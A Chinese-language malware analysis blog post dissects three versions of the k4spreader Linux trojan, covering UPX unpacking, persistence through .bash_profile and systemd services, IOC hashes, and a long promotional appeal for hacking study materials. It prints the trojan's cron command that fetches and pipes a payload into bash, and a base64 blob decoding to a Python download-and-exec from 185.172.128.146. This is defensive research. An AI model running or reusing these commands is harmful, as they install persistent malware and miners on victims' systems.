概述
近日,笔者在浏览微博的时候,无意间发现XX大佬发了一条微博,微博中贴了一张图,图中展示了部分被k4spreader木马感染的国内企业和单位列表(近50余家),好奇心驱使,笔者就简单跟进了一下此事件,发现此事件也是最近才被奇安信X实验室曝光,相关事件报告为《8220挖矿团伙的新玩具:k4spreader》。通过详细的对事件报告进行研读,笔者也基本清楚了整个事件的攻击链路,同时笔者也尝试基于报告中的Hash信息下载了对应的样本进行分析,通过分析对比,笔者发现,此事件报告主要是从宏观角度进行的技术分享,并未对每个样本里面的技术手法细节进行分享。因此,笔者在这里就将自己的样本分析过程分享出来,供大家学习交流。
相关微博截图如下:
微博上关于被感染企业和单位的截图如下:
v1版本样本
单层UPX加壳
查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d
命令即可对此样本做脱壳处理。
大量k4spreader字符串
使用IDA对此样本进行反编译,发现此样本是由Golang语言编写,反编译后的函数名包含k4spreader字符串。
文件锁
尝试动态运行此样本,发现此样本的入口函数为main_main()
,样本运行后,将通过文件锁的方式确保系统中只运行一个木马实例。
具体功能实现函数为:main_checkLockFilesAndRun
,运行后将调用开源https://github.com/gofrs/flock
库的功能,在/tmp/
目录中创建.klibsystem4.lock
隐藏文件,此文件中将存放当前进程PID
信息。
代码运行过程中,将使用syscall指令
触发系统调用。
执行回显
样本运行过程中,将打印字符串信息Secured\n
。
自我复制
样本运行过程中,将通过调用k4spreader_utils_SelfReplicate
函数实现自我复制。
获取当前进程的有效用户ID
样本将使用syscall指令
触发getuid函数调用,获取当前进程的有效用户ID,然后根据用户ID选择不同自我复制方式:
- root用户:返回0,调用k4spreader_utils_SetupAndStartKnlibService函数、k4spreader_utils_CreateSystemService函数
- 非root用户:返回非0,调用k4spreader_utils_AddLineToBashProfile函数
修改bash
调用k4spreader_utils_AddLineToBashProfile函数实现自我复制,在用户目录下的.bash_profile文件(.bash_profile文件在用户登录时被执行,其主要作用是配置和初始化用户的命令行环境,以及提供一个自定义和控制登录行为的地方)中添加字符串,字符串内容为:
cp -f -r -- /bin/klibsystem4 2\>/dev/null && /bin/klibsystem4 >/dev/null 2\>&1 && rm -rf -- /bin/klibsystem4 2\>/dev/null
添加系统服务
通过调用k4spreader_utils_SetupAndStartKnlibService函数,创建/etc/init.d/knlib文件以实现添加系统服务的功能。
通过调用k4spreader_utils_CreateSystemService函数,创建/etc/systemd/system/knlibe.service文件以实现添加系统服务的功能。
复制自身至/bin/knlib
将当前样本复制至/bin/knlib路径,便于相关系统服务调用。
执行go协程
执行完前序持久化驻留代码后,样本将创建go协程,用于执行恶意功能。
创建计划任务
通过调用k4spreader_utils_MakeCron函数,实现如下操作:
- 调用k4spreader_utils_GetDownloadRoute函数外联获取2.gif载荷下载地址;(笔者推测的,若有误,欢迎指出)
- 字符串拼接;指令功能:每10分钟执行一次外联下载2.gif、d.py;
echo '\*/10 \* \* \*\* (curl -s %s/2.gif || wget -q -O - %s/2.gif ||lwp-download %s/2.gif /tmp/2.gif) | bash -sh; bash /tmp/2.gif; rm -rf /tmp/2.gif; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn | base64 -d| bash' | crontab -
cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn
#base64解码
python -c 'import urllib;exec(urllib.urlopen("http://185.172.128.146:443/d.py").read())' || python2 -c 'import urllib;exec(urllib.urlopen("http://185.172.128.146/d.py").read())'
- 执行指令,以实现创建计划任务;
释放并运行文件
通过调用k4spreader_utils_ExecuteEmbeddedBin函数,实现从自身释放bi.64和bin.64文件,释放的文件为Tsunami僵尸网络和PwnRig挖矿病毒。
运行释放文件后,样本将删除释放文件。
外联下载
若释放文件失败,则样本将外联下载Tsunami僵尸网络和PwnRig挖矿病毒程序。
v2版本样本
单层UPX加壳
查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d
命令即可对此样本做脱壳处理。
防火墙指令
此样本运行后,将执行命令,执行关闭防火墙等操作。
v3版本样本
第一层UPX加壳
查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d
命令即可对此样本做脱壳处理。
释放文件
对脱壳的样本进行分析,发现此样本的反编译代码并非k4spreader木马代码;进一步分析,发现此样本运行后,将在/tmp/目录释放文件。
第二层UPX加壳
查壳发现释放文件也被UPX加壳处理,再次脱壳后分析,发现此样本即为k4spreader v3版本样本。
相关IOC
7bade55726a3a6e86d809836d1bc43f4f7702ecde9ceed80a09876c2efeff8d4 - v1
f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712 - v2
0897b1d3e3e453c160bf8d28a041eee3bd29e43a6f063faed7d3cb83a86b88cc - v2
a980b1b0387534da7c9a321f7d450c02087f7a8445fc86b77785da0c510bbaa8 - v2
31fd924b9a5747befdf61c03b02c90d3c2ba93c8e1a9f798e6dfefe23767e1ae - v3
20d08d27631ae9bab8f3cb7cddd9b35fb75e5bee5764072f77ac3b4513307838 - v3
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇
这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费
】